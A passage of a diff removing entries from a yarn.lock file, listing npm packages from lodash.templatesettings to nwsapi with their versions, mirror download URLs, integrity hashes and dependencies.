-  resolved "https://registry.npm.taobao.org/lodash.templatesettings/download/lodash.templatesettings-4.2.0.tgz#e481310f049d3cf6d47e912ad09313b154f0fb33"
-  integrity sha1-5IExDwSdPPbUfpEq0JMTsVTw+zM=
-  dependencies:
-    lodash._reinterpolate "^3.0.0"
-
-lodash.uniq@^4.5.0:
-  version "4.5.0"
-  resolved "https://registry.nlark.com/lodash.uniq/download/lodash.uniq-4.5.0.tgz#d0225373aeb652adc1bc82e4945339a842754773"
-  integrity sha1-0CJTc662Uq3BvILklFM5qEJ1R3M=
-
-"lodash@>=3.5 <5", lodash@^4.17.11, lodash@^4.17.13, lodash@^4.17.14, lodash@^4.17.15, lodash@^4.17.19, lodash@^4.17.20, lodash@^4.17.21, lodash@^4.17.5:
-  version "4.17.21"
-  resolved "https://registry.nlark.com/lodash/download/lodash-4.17.21.tgz#679591c564c3bffaae8454cf0b3df370c3d6911c"
-  integrity sha1-Z5WRxWTDv/quhFTPCz3zcMPWkRw=
-
-loglevel@^1.6.6:
-  version "1.7.1"
-  resolved "https://registry.nlark.com/loglevel/download/loglevel-1.7.1.tgz#005fde2f5e6e47068f935ff28573e125ef72f197"
-  integrity sha1-AF/eL15uRwaPk1/yhXPhJe9y8Zc=
-
-loose-envify@^1.0.0, loose-envify@^1.1.0, loose-envify@^1.4.0:
-  version "1.4.0"
-  resolved "https://registry.npm.taobao.org/loose-envify/download/loose-envify-1.4.0.tgz#71ee51fa7be4caec1a63839f7e682d8132d30caf"
-  integrity sha1-ce5R+nvkyuwaY4OffmgtgTLTDK8=
-  dependencies:
-    js-tokens "^3.0.0 || ^4.0.0"
-
-lower-case@^2.0.2:
-  version "2.0.2"
-  resolved "https://registry.npm.taobao.org/lower-case/download/lower-case-2.0.2.tgz?cache=0&sync_timestamp=1606867333511&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Flower-case%2Fdownload%2Flower-case-2.0.2.tgz#6fa237c63dbdc4a82ca0fd882e4722dc5e634e28"
-  integrity sha1-b6I3xj29xKgsoP2ILkci3F5jTig=
-  dependencies:
-    tslib "^2.0.3"
-
-lru-cache@^5.1.1:
-  version "5.1.1"
-  resolved "https://registry.nlark.com/lru-cache/download/lru-cache-5.1.1.tgz#1da27e6710271947695daf6848e847f01d84b920"
-  integrity sha1-HaJ+ZxAnGUdpXa9oSOhH8B2EuSA=
-  dependencies:
-    yallist "^3.0.2"
-
-lru-cache@^6.0.0:
-  version "6.0.0"
-  resolved "https://registry.nlark.com/lru-cache/download/lru-cache-6.0.0.tgz#6d6fe6570ebd96aaf90fcad1dafa3b2566db3a94"
-  integrity sha1-bW/mVw69lqr5D8rR2vo7JWbbOpQ=
-  dependencies:
-    yallist "^4.0.0"
-
-lz-string@^1.4.4:
-  version "1.4.4"
-  resolved "https://registry.npm.taobao.org/lz-string/download/lz-string-1.4.4.tgz#c0d8eaf36059f705796e1e344811cf4c498d3a26"
-  integrity sha1-wNjq82BZ9wV5bh40SBHPTEmNOiY=
-
-make-dir@^2.0.0, make-dir@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.npm.taobao.org/make-dir/download/make-dir-2.1.0.tgz#5f0310e18b8be898cc07009295a30ae41e91e6f5"
-  integrity sha1-XwMQ4YuL6JjMBwCSlaMK5B6R5vU=
-  dependencies:
-    pify "^4.0.1"
-    semver "^5.6.0"
-
-make-dir@^3.0.2:
-  version "3.1.0"
-  resolved "https://registry.npm.taobao.org/make-dir/download/make-dir-3.1.0.tgz#415e967046b3a7f1d185277d84aa58203726a13f"
-  integrity sha1-QV6WcEazp/HRhSd9hKpYIDcmoT8=
-  dependencies:
-    semver "^6.0.0"
-
-makeerror@1.0.x:
-  version "1.0.11"
-  resolved "https://registry.npm.taobao.org/makeerror/download/makeerror-1.0.11.tgz#e01a5c9109f2af79660e4e8b9587790184f5a96c"
-  integrity sha1-4BpckQnyr3lmDk6LlYd5AYT1qWw=
-  dependencies:
-    tmpl "1.0.x"
-
-mamacro@^0.0.3:
-  version "0.0.3"
-  resolved "https://registry.npm.taobao.org/mamacro/download/mamacro-0.0.3.tgz#ad2c9576197c9f1abf308d0787865bd975a3f3e4"
-  integrity sha1-rSyVdhl8nxq/MI0Hh4Zb2XWj8+Q=
-
-map-age-cleaner@^0.1.1:
-  version "0.1.3"
-  resolved "https://registry.npm.taobao.org/map-age-cleaner/download/map-age-cleaner-0.1.3.tgz#7d583a7306434c055fe474b0f45078e6e1b4b92a"
-  integrity sha1-fVg6cwZDTAVf5HSw9FB45uG0uSo=
-  dependencies:
-    p-defer "^1.0.0"
-
-map-cache@^0.2.2:
-  version "0.2.2"
-  resolved "https://registry.nlark.com/map-cache/download/map-cache-0.2.2.tgz#c32abd0bd6525d9b051645bb4f26ac5dc98a0dbf"
-  integrity sha1-wyq9C9ZSXZsFFkW7TyasXcmKDb8=
-
-map-visit@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.nlark.com/map-visit/download/map-visit-1.0.0.tgz#ecdca8f13144e660f1b5bd41f12f3479d98dfb8f"
-  integrity sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=
-  dependencies:
-    object-visit "^1.0.0"
-
-md5.js@^1.3.4:
-  version "1.3.5"
-  resolved "https://registry.npm.taobao.org/md5.js/download/md5.js-1.3.5.tgz#b5d07b8e3216e3e27cd728d72f70d1e6a342005f"
-  integrity sha1-tdB7jjIW4+J81yjXL3DR5qNCAF8=
-  dependencies:
-    hash-base "^3.0.0"
-    inherits "^2.0.1"
-    safe-buffer "^5.1.2"
-
-mdn-data@2.0.14:
-  version "2.0.14"
-  resolved "https://registry.nlark.com/mdn-data/download/mdn-data-2.0.14.tgz?cache=0&sync_timestamp=1622679294056&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fmdn-data%2Fdownload%2Fmdn-data-2.0.14.tgz#7113fc4281917d63ce29b43446f701e68c25ba50"
-  integrity sha1-cRP8QoGRfWPOKbQ0RvcB5owlulA=
-
-mdn-data@2.0.4:
-  version "2.0.4"
-  resolved "https://registry.nlark.com/mdn-data/download/mdn-data-2.0.4.tgz?cache=0&sync_timestamp=1622679294056&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fmdn-data%2Fdownload%2Fmdn-data-2.0.4.tgz#699b3c38ac6f1d728091a64650b65d388502fd5b"
-  integrity sha1-aZs8OKxvHXKAkaZGULZdOIUC/Vs=
-
-media-typer@0.3.0:
-  version "0.3.0"
-  resolved "https://registry.nlark.com/media-typer/download/media-typer-0.3.0.tgz#8710d7af0aa626f8fffa1ce00168545263255748"
-  integrity sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=
-
-mem@^4.0.0:
-  version "4.3.0"
-  resolved "https://registry.nlark.com/mem/download/mem-4.3.0.tgz?cache=0&sync_timestamp=1618933842431&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fmem%2Fdownload%2Fmem-4.3.0.tgz#461af497bc4ae09608cdb2e60eefb69bff744178"
-  integrity sha1-Rhr0l7xK4JYIzbLmDu+2m/90QXg=
-  dependencies:
-    map-age-cleaner "^0.1.1"
-    mimic-fn "^2.0.0"
-    p-is-promise "^2.0.0"
-
-memory-fs@^0.4.1:
-  version "0.4.1"
-  resolved "https://registry.nlark.com/memory-fs/download/memory-fs-0.4.1.tgz#3a9a20b8462523e447cfbc7e8bb80ed667bfc552"
-  integrity sha1-OpoguEYlI+RHz7x+i7gO1me/xVI=
-  dependencies:
-    errno "^0.1.3"
-    readable-stream "^2.0.1"
-
-memory-fs@^0.5.0:
-  version "0.5.0"
-  resolved "https://registry.nlark.com/memory-fs/download/memory-fs-0.5.0.tgz#324c01288b88652966d161db77838720845a8e3c"
-  integrity sha1-MkwBKIuIZSlm0WHbd4OHIIRajjw=
-  dependencies:
-    errno "^0.1.3"
-    readable-stream "^2.0.1"
-
-merge-deep@^3.0.2:
-  version "3.0.3"
-  resolved "https://registry.nlark.com/merge-deep/download/merge-deep-3.0.3.tgz#1a2b2ae926da8b2ae93a0ac15d90cd1922766003"
-  integrity sha1-Gisq6SbaiyrpOgrBXZDNGSJ2YAM=
-  dependencies:
-    arr-union "^3.1.0"
-    clone-deep "^0.2.4"
-    kind-of "^3.0.2"
-
-merge-descriptors@1.0.1:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/merge-descriptors/download/merge-descriptors-1.0.1.tgz#b00aaa556dd8b44568150ec9d1b953f3f90cbb61"
-  integrity sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=
-
-merge-stream@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/merge-stream/download/merge-stream-2.0.0.tgz#52823629a14dd00c9770fb6ad47dc6310f2c1f60"
-  integrity sha1-UoI2KaFN0AyXcPtq1H3GMQ8sH2A=
-
-merge2@^1.2.3:
-  version "1.4.1"
-  resolved "https://registry.npm.taobao.org/merge2/download/merge2-1.4.1.tgz#4368892f885e907455a6fd7dc55c0c9d404990ae"
-  integrity sha1-Q2iJL4hekHRVpv19xVwMnUBJkK4=
-
-methods@~1.1.2:
-  version "1.1.2"
-  resolved "https://registry.npm.taobao.org/methods/download/methods-1.1.2.tgz#5529a4d67654134edcc5266656835b0f851afcee"
-  integrity sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=
-
-microevent.ts@~0.1.1:
-  version "0.1.1"
-  resolved "https://registry.npm.taobao.org/microevent.ts/download/microevent.ts-0.1.1.tgz#70b09b83f43df5172d0205a63025bce0f7357fa0"
-  integrity sha1-cLCbg/Q99RctAgWmMCW84Pc1f6A=
-
-micromatch@^3.1.10, micromatch@^3.1.4:
-  version "3.1.10"
-  resolved "https://registry.nlark.com/micromatch/download/micromatch-3.1.10.tgz#70859bc95c9840952f359a068a3fc49f9ecfac23"
-  integrity sha1-cIWbyVyYQJUvNZoGij/En57PrCM=
-  dependencies:
-    arr-diff "^4.0.0"
-    array-unique "^0.3.2"
-    braces "^2.3.1"
-    define-property "^2.0.2"
-    extend-shallow "^3.0.2"
-    extglob "^2.0.4"
-    fragment-cache "^0.2.1"
-    kind-of "^6.0.2"
-    nanomatch "^1.2.9"
-    object.pick "^1.3.0"
-    regex-not "^1.0.0"
-    snapdragon "^0.8.1"
-    to-regex "^3.0.2"
-
-miller-rabin@^4.0.0:
-  version "4.0.1"
-  resolved "https://registry.nlark.com/miller-rabin/download/miller-rabin-4.0.1.tgz#f080351c865b0dc562a8462966daa53543c78a4d"
-  integrity sha1-8IA1HIZbDcViqEYpZtqlNUPHik0=
-  dependencies:
-    bn.js "^4.0.0"
-    brorand "^1.0.1"
-
-mime-db@1.48.0, "mime-db@>= 1.43.0 < 2":
-  version "1.48.0"
-  resolved "https://registry.nlark.com/mime-db/download/mime-db-1.48.0.tgz?cache=0&sync_timestamp=1622433567590&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fmime-db%2Fdownload%2Fmime-db-1.48.0.tgz#e35b31045dd7eada3aaad537ed88a33afbef2d1d"
-  integrity sha1-41sxBF3X6to6qtU37YijOvvvLR0=
-
-mime-types@^2.1.12, mime-types@~2.1.17, mime-types@~2.1.19, mime-types@~2.1.24:
-  version "2.1.31"
-  resolved "https://registry.nlark.com/mime-types/download/mime-types-2.1.31.tgz#a00d76b74317c61f9c2db2218b8e9f8e9c5c9e6b"
-  integrity sha1-oA12t0MXxh+cLbIhi46fjpxcnms=
-  dependencies:
-    mime-db "1.48.0"
-
-mime@1.6.0:
-  version "1.6.0"
-  resolved "https://registry.npm.taobao.org/mime/download/mime-1.6.0.tgz?cache=0&sync_timestamp=1615984369368&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fmime%2Fdownload%2Fmime-1.6.0.tgz#32cd9e5c64553bd58d19a568af452acff04981b1"
-  integrity sha1-Ms2eXGRVO9WNGaVor0Uqz/BJgbE=
-
-mime@^2.4.4:
-  version "2.5.2"
-  resolved "https://registry.npm.taobao.org/mime/download/mime-2.5.2.tgz?cache=0&sync_timestamp=1615984369368&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fmime%2Fdownload%2Fmime-2.5.2.tgz#6e3dc6cc2b9510643830e5f19d5cb753da5eeabe"
-  integrity sha1-bj3GzCuVEGQ4MOXxnVy3U9pe6r4=
-
-mimic-fn@^2.0.0, mimic-fn@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.npm.taobao.org/mimic-fn/download/mimic-fn-2.1.0.tgz#7ed2c2ccccaf84d3ffcb7a69b57711fc2083401b"
-  integrity sha1-ftLCzMyvhNP/y3pptXcR/CCDQBs=
-
-min-indent@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/min-indent/download/min-indent-1.0.1.tgz#a63f681673b30571fbe8bc25686ae746eefa9869"
-  integrity sha1-pj9oFnOzBXH76LwlaGrnRu76mGk=
-
-mini-css-extract-plugin@0.9.0:
-  version "0.9.0"
-  resolved "https://registry.nlark.com/mini-css-extract-plugin/download/mini-css-extract-plugin-0.9.0.tgz#47f2cf07aa165ab35733b1fc97d4c46c0564339e"
-  integrity sha1-R/LPB6oWWrNXM7H8l9TEbAVkM54=
-  dependencies:
-    loader-utils "^1.1.0"
-    normalize-url "1.9.1"
-    schema-utils "^1.0.0"
-    webpack-sources "^1.1.0"
-
-minimalistic-assert@^1.0.0, minimalistic-assert@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/minimalistic-assert/download/minimalistic-assert-1.0.1.tgz#2e194de044626d4a10e7f7fbc00ce73e83e4d5c7"
-  integrity sha1-LhlN4ERibUoQ5/f7wAznPoPk1cc=
-
-minimalistic-crypto-utils@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/minimalistic-crypto-utils/download/minimalistic-crypto-utils-1.0.1.tgz#f6c00c1c0b082246e5c4d99dfb8c7c083b2b582a"
-  integrity sha1-9sAMHAsIIkblxNmd+4x8CDsrWCo=
-
-minimatch@3.0.4, minimatch@^3.0.4:
-  version "3.0.4"
-  resolved "https://registry.npm.taobao.org/minimatch/download/minimatch-3.0.4.tgz#5166e286457f03306064be5497e8dbb0c3d32083"
-  integrity sha1-UWbihkV/AzBgZL5Ul+jbsMPTIIM=
-  dependencies:
-    brace-expansion "^1.1.7"
-
-minimist@^1.1.1, minimist@^1.2.0, minimist@^1.2.5:
-  version "1.2.5"
-  resolved "https://registry.nlark.com/minimist/download/minimist-1.2.5.tgz?cache=0&sync_timestamp=1618847017774&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fminimist%2Fdownload%2Fminimist-1.2.5.tgz#67d66014b66a6a8aaa0c083c5fd58df4e4e97602"
-  integrity sha1-Z9ZgFLZqaoqqDAg8X9WN9OTpdgI=
-
-minipass-collect@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.nlark.com/minipass-collect/download/minipass-collect-1.0.2.tgz#22b813bf745dc6edba2576b940022ad6edc8c617"
-  integrity sha1-IrgTv3Rdxu26JXa5QAIq1u3Ixhc=
-  dependencies:
-    minipass "^3.0.0"
-
-minipass-flush@^1.0.5:
-  version "1.0.5"
-  resolved "https://registry.npm.taobao.org/minipass-flush/download/minipass-flush-1.0.5.tgz#82e7135d7e89a50ffe64610a787953c4c4cbb373"
-  integrity sha1-gucTXX6JpQ/+ZGEKeHlTxMTLs3M=
-  dependencies:
-    minipass "^3.0.0"
-
-minipass-pipeline@^1.2.2:
-  version "1.2.4"
-  resolved "https://registry.nlark.com/minipass-pipeline/download/minipass-pipeline-1.2.4.tgz#68472f79711c084657c067c5c6ad93cddea8214c"
-  integrity sha1-aEcveXEcCEZXwGfFxq2Tzd6oIUw=
-  dependencies:
-    minipass "^3.0.0"
-
-minipass@^3.0.0, minipass@^3.1.1:
-  version "3.1.3"
-  resolved "https://registry.npm.taobao.org/minipass/download/minipass-3.1.3.tgz#7d42ff1f39635482e15f9cdb53184deebd5815fd"
-  integrity sha1-fUL/HzljVILhX5zbUxhN7r1YFf0=
-  dependencies:
-    yallist "^4.0.0"
-
-mississippi@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/mississippi/download/mississippi-3.0.0.tgz#ea0a3291f97e0b5e8776b363d5f0a12d94c67022"
-  integrity sha1-6goykfl+C16HdrNj1fChLZTGcCI=
-  dependencies:
-    concat-stream "^1.5.0"
-    duplexify "^3.4.2"
-    end-of-stream "^1.1.0"
-    flush-write-stream "^1.0.0"
-    from2 "^2.1.0"
-    parallel-transform "^1.1.0"
-    pump "^3.0.0"
-    pumpify "^1.3.3"
-    stream-each "^1.1.0"
-    through2 "^2.0.0"
-
-mixin-deep@^1.2.0:
-  version "1.3.2"
-  resolved "https://registry.npm.taobao.org/mixin-deep/download/mixin-deep-1.3.2.tgz#1120b43dc359a785dce65b55b82e257ccf479566"
-  integrity sha1-ESC0PcNZp4Xc5ltVuC4lfM9HlWY=
-  dependencies:
-    for-in "^1.0.2"
-    is-extendable "^1.0.1"
-
-mixin-object@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.npm.taobao.org/mixin-object/download/mixin-object-2.0.1.tgz#4fb949441dab182540f1fe035ba60e1947a5e57e"
-  integrity sha1-T7lJRB2rGCVA8f4DW6YOGUel5X4=
-  dependencies:
-    for-in "^0.1.3"
-    is-extendable "^0.1.1"
-
-mkdirp@^0.5.1, mkdirp@^0.5.3, mkdirp@^0.5.5, mkdirp@~0.5.1:
-  version "0.5.5"
-  resolved "https://registry.npm.taobao.org/mkdirp/download/mkdirp-0.5.5.tgz#d91cefd62d1436ca0f41620e251288d420099def"
-  integrity sha1-2Rzv1i0UNsoPQWIOJRKI1CAJne8=
-  dependencies:
-    minimist "^1.2.5"
-
-move-concurrently@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/move-concurrently/download/move-concurrently-1.0.1.tgz#be2c005fda32e0b29af1f05d7c4b33214c701f92"
-  integrity sha1-viwAX9oy4LKa8fBdfEszIUxwH5I=
-  dependencies:
-    aproba "^1.1.1"
-    copy-concurrently "^1.0.0"
-    fs-write-stream-atomic "^1.0.8"
-    mkdirp "^0.5.1"
-    rimraf "^2.5.4"
-    run-queue "^1.0.3"
-
-ms@2.0.0:
-  version "2.0.0"
-  resolved "https://registry.nlark.com/ms/download/ms-2.0.0.tgz#5608aeadfc00be6c2901df5f9861788de0d597c8"
-  integrity sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=
-
-ms@2.1.1:
-  version "2.1.1"
-  resolved "https://registry.nlark.com/ms/download/ms-2.1.1.tgz#30a5864eb3ebb0a66f2ebe6d727af06a09d86e0a"
-  integrity sha1-MKWGTrPrsKZvLr5tcnrwagnYbgo=
-
-ms@2.1.2:
-  version "2.1.2"
-  resolved "https://registry.nlark.com/ms/download/ms-2.1.2.tgz#d09d1f357b443f493382a8eb3ccd183872ae6009"
-  integrity sha1-0J0fNXtEP0kzgqjrPM0YOHKuYAk=
-
-ms@^2.1.1:
-  version "2.1.3"
-  resolved "https://registry.nlark.com/ms/download/ms-2.1.3.tgz#574c8138ce1d2b5861f0b44579dbadd60c6615b2"
-  integrity sha1-V0yBOM4dK1hh8LRFedut1gxmFbI=
-
-multicast-dns-service-types@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.nlark.com/multicast-dns-service-types/download/multicast-dns-service-types-1.1.0.tgz#899f11d9686e5e05cb91b35d5f0e63b773cfc901"
-  integrity sha1-iZ8R2WhuXgXLkbNdXw5jt3PPyQE=
-
-multicast-dns@^6.0.1:
-  version "6.2.3"
-  resolved "https://registry.nlark.com/multicast-dns/download/multicast-dns-6.2.3.tgz#a0ec7bd9055c4282f790c3c82f4e28db3b31b229"
-  integrity sha1-oOx72QVcQoL3kMPIL04o2zsxsik=
-  dependencies:
-    dns-packet "^1.3.1"
-    thunky "^1.0.2"
-
-mute-stream@0.0.8:
-  version "0.0.8"
-  resolved "https://registry.nlark.com/mute-stream/download/mute-stream-0.0.8.tgz#1630c42b2251ff81e2a283de96a5497ea92e5e0d"
-  integrity sha1-FjDEKyJR/4HiooPelqVJfqkuXg0=
-
-nan@^2.12.1:
-  version "2.14.2"
-  resolved "https://registry.nlark.com/nan/download/nan-2.14.2.tgz#f5376400695168f4cc694ac9393d0c9585eeea19"
-  integrity sha1-9TdkAGlRaPTMaUrJOT0MlYXu6hk=
-
-nanomatch@^1.2.9:
-  version "1.2.13"
-  resolved "https://registry.nlark.com/nanomatch/download/nanomatch-1.2.13.tgz#b87a8aa4fc0de8fe6be88895b38983ff265bd119"
-  integrity sha1-uHqKpPwN6P5r6IiVs4mD/yZb0Rk=
-  dependencies:
-    arr-diff "^4.0.0"
-    array-unique "^0.3.2"
-    define-property "^2.0.2"
-    extend-shallow "^3.0.2"
-    fragment-cache "^0.2.1"
-    is-windows "^1.0.2"
-    kind-of "^6.0.2"
-    object.pick "^1.3.0"
-    regex-not "^1.0.0"
-    snapdragon "^0.8.1"
-    to-regex "^3.0.1"
-
-natural-compare@^1.4.0:
-  version "1.4.0"
-  resolved "https://registry.npm.taobao.org/natural-compare/download/natural-compare-1.4.0.tgz#4abebfeed7541f2c27acfb29bdbbd15c8d5ba4f7"
-  integrity sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=
-
-negotiator@0.6.2:
-  version "0.6.2"
-  resolved "https://registry.npm.taobao.org/negotiator/download/negotiator-0.6.2.tgz#feacf7ccf525a77ae9634436a64883ffeca346fb"
-  integrity sha1-/qz3zPUlp3rpY0Q2pkiD/+yjRvs=
-
-neo-async@^2.5.0, neo-async@^2.6.1:
-  version "2.6.2"
-  resolved "https://registry.nlark.com/neo-async/download/neo-async-2.6.2.tgz#b4aafb93e3aeb2d8174ca53cf163ab7d7308305f"
-  integrity sha1-tKr7k+OustgXTKU88WOrfXMIMF8=
-
-next-tick@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.nlark.com/next-tick/download/next-tick-1.0.0.tgz#ca86d1fe8828169b0120208e3dc8424b9db8342c"
-  integrity sha1-yobR/ogoFpsBICCOPchCS524NCw=
-
-nice-try@^1.0.4:
-  version "1.0.5"
-  resolved "https://registry.npm.taobao.org/nice-try/download/nice-try-1.0.5.tgz?cache=0&sync_timestamp=1614510016909&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fnice-try%2Fdownload%2Fnice-try-1.0.5.tgz#a3378a7696ce7d223e88fc9b764bd7ef1089e366"
-  integrity sha1-ozeKdpbOfSI+iPybdkvX7xCJ42Y=
-
-no-case@^3.0.4:
-  version "3.0.4"
-  resolved "https://registry.npm.taobao.org/no-case/download/no-case-3.0.4.tgz#d361fd5c9800f558551a8369fc0dcd4662b6124d"
-  integrity sha1-02H9XJgA9VhVGoNp/A3NRmK2Ek0=
-  dependencies:
-    lower-case "^2.0.2"
-    tslib "^2.0.3"
-
-node-forge@^0.10.0:
-  version "0.10.0"
-  resolved "https://registry.npm.taobao.org/node-forge/download/node-forge-0.10.0.tgz?cache=0&sync_timestamp=1599054189018&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fnode-forge%2Fdownload%2Fnode-forge-0.10.0.tgz#32dea2afb3e9926f02ee5ce8794902691a676bf3"
-  integrity sha1-Mt6ir7Ppkm8C7lzoeUkCaRpna/M=
-
-node-int64@^0.4.0:
-  version "0.4.0"
-  resolved "https://registry.nlark.com/node-int64/download/node-int64-0.4.0.tgz#87a9065cdb355d3182d8f94ce11188b825c68a3b"
-  integrity sha1-h6kGXNs1XTGC2PlM4RGIuCXGijs=
-
-node-libs-browser@^2.2.1:
-  version "2.2.1"
-  resolved "https://registry.nlark.com/node-libs-browser/download/node-libs-browser-2.2.1.tgz#b64f513d18338625f90346d27b0d235e631f6425"
-  integrity sha1-tk9RPRgzhiX5A0bSew0jXmMfZCU=
-  dependencies:
-    assert "^1.1.1"
-    browserify-zlib "^0.2.0"
-    buffer "^4.3.0"
-    console-browserify "^1.1.0"
-    constants-browserify "^1.0.0"
-    crypto-browserify "^3.11.0"
-    domain-browser "^1.1.1"
-    events "^3.0.0"
-    https-browserify "^1.0.0"
-    os-browserify "^0.3.0"
-    path-browserify "0.0.1"
-    process "^0.11.10"
-    punycode "^1.2.4"
-    querystring-es3 "^0.2.0"
-    readable-stream "^2.3.3"
-    stream-browserify "^2.0.1"
-    stream-http "^2.7.2"
-    string_decoder "^1.0.0"
-    timers-browserify "^2.0.4"
-    tty-browserify "0.0.0"
-    url "^0.11.0"
-    util "^0.11.0"
-    vm-browserify "^1.0.1"
-
-node-modules-regexp@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.npm.taobao.org/node-modules-regexp/download/node-modules-regexp-1.0.0.tgz#8d9dbe28964a4ac5712e9131642107c71e90ec40"
-  integrity sha1-jZ2+KJZKSsVxLpExZCEHxx6Q7EA=
-
-node-notifier@^5.4.2:
-  version "5.4.5"
-  resolved "https://registry.nlark.com/node-notifier/download/node-notifier-5.4.5.tgz?cache=0&sync_timestamp=1621962189467&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fnode-notifier%2Fdownload%2Fnode-notifier-5.4.5.tgz#0cbc1a2b0f658493b4025775a13ad938e96091ef"
-  integrity sha1-DLwaKw9lhJO0Ald1oTrZOOlgke8=
-  dependencies:
-    growly "^1.3.0"
-    is-wsl "^1.1.0"
-    semver "^5.5.0"
-    shellwords "^0.1.1"
-    which "^1.3.0"
-
-node-releases@^1.1.52, node-releases@^1.1.71:
-  version "1.1.73"
-  resolved "https://registry.nlark.com/node-releases/download/node-releases-1.1.73.tgz?cache=0&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fnode-releases%2Fdownload%2Fnode-releases-1.1.73.tgz#dd4e81ddd5277ff846b80b52bb40c49edf7a7b20"
-  integrity sha1-3U6B3dUnf/hGuAtSu0DEnt96eyA=
-
-normalize-package-data@^2.3.2:
-  version "2.5.0"
-  resolved "https://registry.nlark.com/normalize-package-data/download/normalize-package-data-2.5.0.tgz#e66db1838b200c1dfc233225d12cb36520e234a8"
-  integrity sha1-5m2xg4sgDB38IzIl0SyzZSDiNKg=
-  dependencies:
-    hosted-git-info "^2.1.4"
-    resolve "^1.10.0"
-    semver "2 || 3 || 4 || 5"
-    validate-npm-package-license "^3.0.1"
-
-normalize-path@^2.1.1:
-  version "2.1.1"
-  resolved "https://registry.npm.taobao.org/normalize-path/download/normalize-path-2.1.1.tgz#1ab28b556e198363a8c1a6f7e6fa20137fe6aed9"
-  integrity sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=
-  dependencies:
-    remove-trailing-separator "^1.0.1"
-
-normalize-path@^3.0.0, normalize-path@~3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/normalize-path/download/normalize-path-3.0.0.tgz#0dcd69ff23a1c9b11fd0978316644a0388216a65"
-  integrity sha1-Dc1p/yOhybEf0JeDFmRKA4ghamU=
-
-normalize-range@^0.1.2:
-  version "0.1.2"
-  resolved "https://registry.npm.taobao.org/normalize-range/download/normalize-range-0.1.2.tgz#2d10c06bdfd312ea9777695a4d28439456b75942"
-  integrity sha1-LRDAa9/TEuqXd2laTShDlFa3WUI=
-
-normalize-url@1.9.1:
-  version "1.9.1"
-  resolved "https://registry.nlark.com/normalize-url/download/normalize-url-1.9.1.tgz?cache=0&sync_timestamp=1621862147909&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fnormalize-url%2Fdownload%2Fnormalize-url-1.9.1.tgz#2cc0d66b31ea23036458436e3620d85954c66c3c"
-  integrity sha1-LMDWazHqIwNkWENuNiDYWVTGbDw=
-  dependencies:
-    object-assign "^4.0.1"
-    prepend-http "^1.0.0"
-    query-string "^4.1.0"
-    sort-keys "^1.0.0"
-
-normalize-url@^3.0.0:
-  version "3.3.0"
-  resolved "https://registry.nlark.com/normalize-url/download/normalize-url-3.3.0.tgz?cache=0&sync_timestamp=1621862147909&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fnormalize-url%2Fdownload%2Fnormalize-url-3.3.0.tgz#b2e1c4dc4f7c6d57743df733a4f5978d18650559"
-  integrity sha1-suHE3E98bVd0PfczpPWXjRhlBVk=
-
-npm-run-path@^2.0.0:
-  version "2.0.2"
-  resolved "https://registry.npm.taobao.org/npm-run-path/download/npm-run-path-2.0.2.tgz#35a9232dfa35d7067b4cb2ddf2357b1871536c5f"
-  integrity sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=
-  dependencies:
-    path-key "^2.0.0"
-
-nth-check@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.nlark.com/nth-check/download/nth-check-1.0.2.tgz#b2bd295c37e3dd58a3bf0700376663ba4d9cf05c"
-  integrity sha1-sr0pXDfj3VijvwcAN2Zjuk2c8Fw=
-  dependencies:
-    boolbase "~1.0.0"
-
-nth-check@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.nlark.com/nth-check/download/nth-check-2.0.0.tgz#1bb4f6dac70072fc313e8c9cd1417b5074c0a125"
-  integrity sha1-G7T22scAcvwxPoyc0UF7UHTAoSU=
-  dependencies:
-    boolbase "^1.0.0"
-
-num2fraction@^1.2.2:
-  version "1.2.2"
-  resolved "https://registry.npm.taobao.org/num2fraction/download/num2fraction-1.2.2.tgz#6f682b6a027a4e9ddfa4564cd2589d1d4e669ede"
-  integrity sha1-b2gragJ6Tp3fpFZM0lidHU5mnt4=
-
-number-is-nan@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/number-is-nan/download/number-is-nan-1.0.1.tgz#097b602b53422a522c1afb8790318336941a011d"
-  integrity sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=
-
-nwsapi@^2.0.7, nwsapi@^2.1.3:
-  version "2.2.0"
-  resolved "https://registry.nlark.com/nwsapi/download/nwsapi-2.2.0.tgz#204879a9e3d068ff2a55139c2c772780681a38b7"
